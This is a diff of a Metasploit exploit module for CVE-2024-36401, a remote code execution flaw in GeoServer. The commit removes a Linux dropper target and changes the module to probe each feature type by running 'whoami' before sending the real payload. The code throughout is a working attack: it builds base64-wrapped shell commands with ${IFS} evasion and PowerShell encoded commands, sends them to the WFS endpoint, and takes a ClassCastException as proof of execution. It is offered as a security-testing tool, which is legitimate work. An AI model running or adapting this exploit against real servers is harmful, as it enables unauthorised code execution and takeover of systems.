@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
Rank = ExcellentRanking
8
8
prepend Msf ::Exploit ::Remote ::AutoCheck
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
- include Msf ::Exploit ::CmdStager
11
10
12
11
def initialize ( info = { } )
13
12
super (
@@ -31,7 +30,8 @@ def initialize(info = {})
31
30
'Author' => [
32
31
'h00die-gr3y <h00die.gr3y[at]gmail.com>' , # MSF module contributor
33
32
'jheysel-r7' , # MSF module Windows support
34
- 'Steve Ikeoka' # Discovery
33
+ 'Steve Ikeoka' , # Discovery
34
+ 'Valentin Lobstein a.k.a chocapik' # Dynamic featuretype enhancement
35
35
] ,
36
36
'References' => [
37
37
[ 'CVE' , '2024-36401' ] ,
@@ -41,7 +41,7 @@ def initialize(info = {})
41
41
] ,
42
42
'DisclosureDate' => '2024-07-01' ,
43
43
'Platform' => [ 'unix' , 'linux' ] ,
44
- 'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 , ARCH_AARCH64 , ARCH_ARMLE ] ,
44
+ 'Arch' => [ ARCH_CMD ] ,
45
45
'Privileged' => true ,
46
46
'Targets' => [
47
47
[
@@ -51,17 +51,7 @@ def initialize(info = {})
51
51
'Arch' => ARCH_CMD ,
52
52
'Type' => :unix_cmd
53
53
# Tested with cmd/unix/reverse_bash
54
- }
55
- ] ,
56
- [
57
- 'Linux Dropper' ,
58
- {
59
- 'Platform' => [ 'linux' ] ,
60
- 'Arch' => [ ARCH_X86 , ARCH_X64 , ARCH_AARCH64 , ARCH_ARMLE ] ,
61
- 'Type' => :linux_dropper ,
62
- 'Linemax' => 16384 ,
63
- 'CmdStagerFlavor' => [ 'curl' , 'wget' , 'echo' , 'printf' , 'bourne' ]
64
- # Tested with linux/x64/meterpreter_reverse_tcp
54
+ # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
65
55
}
66
56
] ,
67
57
[
@@ -100,7 +90,7 @@ def check_version
100
90
'keep_cookies' => true ,
101
91
'method' => 'GET'
102
92
} )
103
- return nil unless res && res . code == 200 && res . body . include? ( 'GeoServer Version' )
93
+ return nil unless res & .code == 200 && res . body . include? ( 'GeoServer Version' )
104
94
105
95
html = res . get_html_document
106
96
unless html . blank?
@@ -112,7 +102,7 @@ def check_version
112
102
end
113
103
114
104
def get_valid_featuretype
115
- allowed_feature_types = [ 'sf:archsites' , 'sf:bugsites' , 'sf:restricted' , 'sf:roads' , 'sf:streams' , 'ne:boundary_lines' , 'ne:coastlines' , 'ne:countries' , 'ne:disputed_areas' , 'ne:populated_places' ]
105
+ # get a list of available feature types and test if the feature type is supporting the RCE
116
106
res = send_request_cgi! ( {
117
107
'uri' => normalize_uri ( target_uri . path , 'geoserver' , 'wfs' ) ,
118
108
'method' => 'GET' ,
@@ -123,36 +113,32 @@ def get_valid_featuretype
123
113
'service' => 'wfs'
124
114
}
125
115
} )
126
- return nil unless res && res . code == 200 && res . body . include? ( 'ListStoredQueriesResponse' )
116
+ return nil unless res & .code == 200 && res . body . include? ( 'ListStoredQueriesResponse' )
127
117
128
118
xml = res . get_xml_document
129
119
unless xml . blank?
130
120
xml . remove_namespaces!
131
121
# get all the FeatureTypes and store them in an array of strings
132
122
retrieved_feature_types = xml . xpath ( '//ReturnFeatureType' )
133
123
# shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
134
- # return the feature type if a match is found in the allowed_feature_types array
124
+ # test and return the feature type if an RCE is possible
135
125
retrieved_feature_types . to_a . shuffle . each do |feature_type |
136
- return feature_type . text if allowed_feature_types . include? ( feature_type . text )
126
+ return feature_type . text if execute_command ( 'whoami' , feature_type . text )
137
127
end
138
128
end
139
129
nil
140
130
end
141
131
142
- def create_payload ( cmd )
143
- # get a valid feature type and fail back to a default if not successful
144
- feature_type = get_valid_featuretype
145
- feature_type = 'sf:archsites' if feature_type . nil?
146
-
132
+ def create_payload ( cmd , feature_type )
147
133
case target [ 'Type' ]
148
- when :unix_cmd || :linux_dropper
134
+ when :unix_cmd
149
135
# create customised b64 encoded payload
150
136
# 'Encoder' => 'cmd/base64' does not work in this particular use case
151
- cmd_b64 = Base64 . strict_encode64 ( cmd )
152
- cmd = "sh -c echo${IFS}#{ cmd_b64 } |base64${IFS}-d|sh"
137
+ enc_cmd_b64 = Base64 . strict_encode64 ( cmd )
138
+ cmd = "sh -c echo${IFS}#{ enc_cmd_b64 } |base64${IFS}-d|sh"
153
139
when :win_cmd
154
- enc_cmd = Base64 . strict_encode64 ( "cmd /C --% #{ payload . encoded } " . encode ( 'UTF-16LE' ) )
155
- cmd = "powershell.exe -e #{ enc_cmd } "
140
+ enc_cmd_b64 = Base64 . strict_encode64 ( "cmd /C --% #{ cmd } " . encode ( 'UTF-16LE' ) )
141
+ cmd = "powershell.exe -e #{ enc_cmd_b64 } "
156
142
end
157
143
158
144
return <<~EOS
@@ -166,15 +152,17 @@ def create_payload(cmd)
166
152
EOS
167
153
end
168
154
169
- def execute_command ( cmd , _opts = { } )
155
+ def execute_command ( cmd , feature_type , _opts = { } )
170
156
res = send_request_cgi ( {
171
157
'uri' => normalize_uri ( target_uri . path , 'geoserver' , 'wfs' ) ,
172
158
'method' => 'POST' ,
173
159
'ctype' => 'application/xml' ,
174
160
'keep_cookies' => true ,
175
- 'data' => create_payload ( cmd )
161
+ 'data' => create_payload ( cmd , feature_type )
176
162
} )
177
- fail_with ( Failure ::PayloadFailed , 'Payload execution failed.' ) unless res && res . code == 400 && res . body . include? ( 'ClassCastException' )
163
+ return false unless res &.code == 400 && res . body . include? ( 'ClassCastException' )
164
+
165
+ true
178
166
end
179
167
180
168
def check
@@ -190,11 +178,9 @@ def exploit
190
178
191
179
case target [ 'Type' ]
192
180
when :unix_cmd , :win_cmd
193
- execute_command ( payload . encoded )
194
- when :linux_dropper
195
- # don't check the response here since the server won't respond
196
- # if the payload is successfully executed.
197
- execute_cmdstager ( { linemax : target . opts [ 'Linemax' ] } )
181
+ valid_feature_type = get_valid_featuretype
182
+ fail_with ( Failure ::NotFound , 'No valid featuretype found to estabish the RCE.' ) if valid_feature_type . nil?
183
+ fail_with ( Failure ::PayloadFailed , 'Payload execution failed.' ) unless execute_command ( payload . encoded , valid_feature_type )
198
184
end
199
185
end
200
186
end
0 commit comments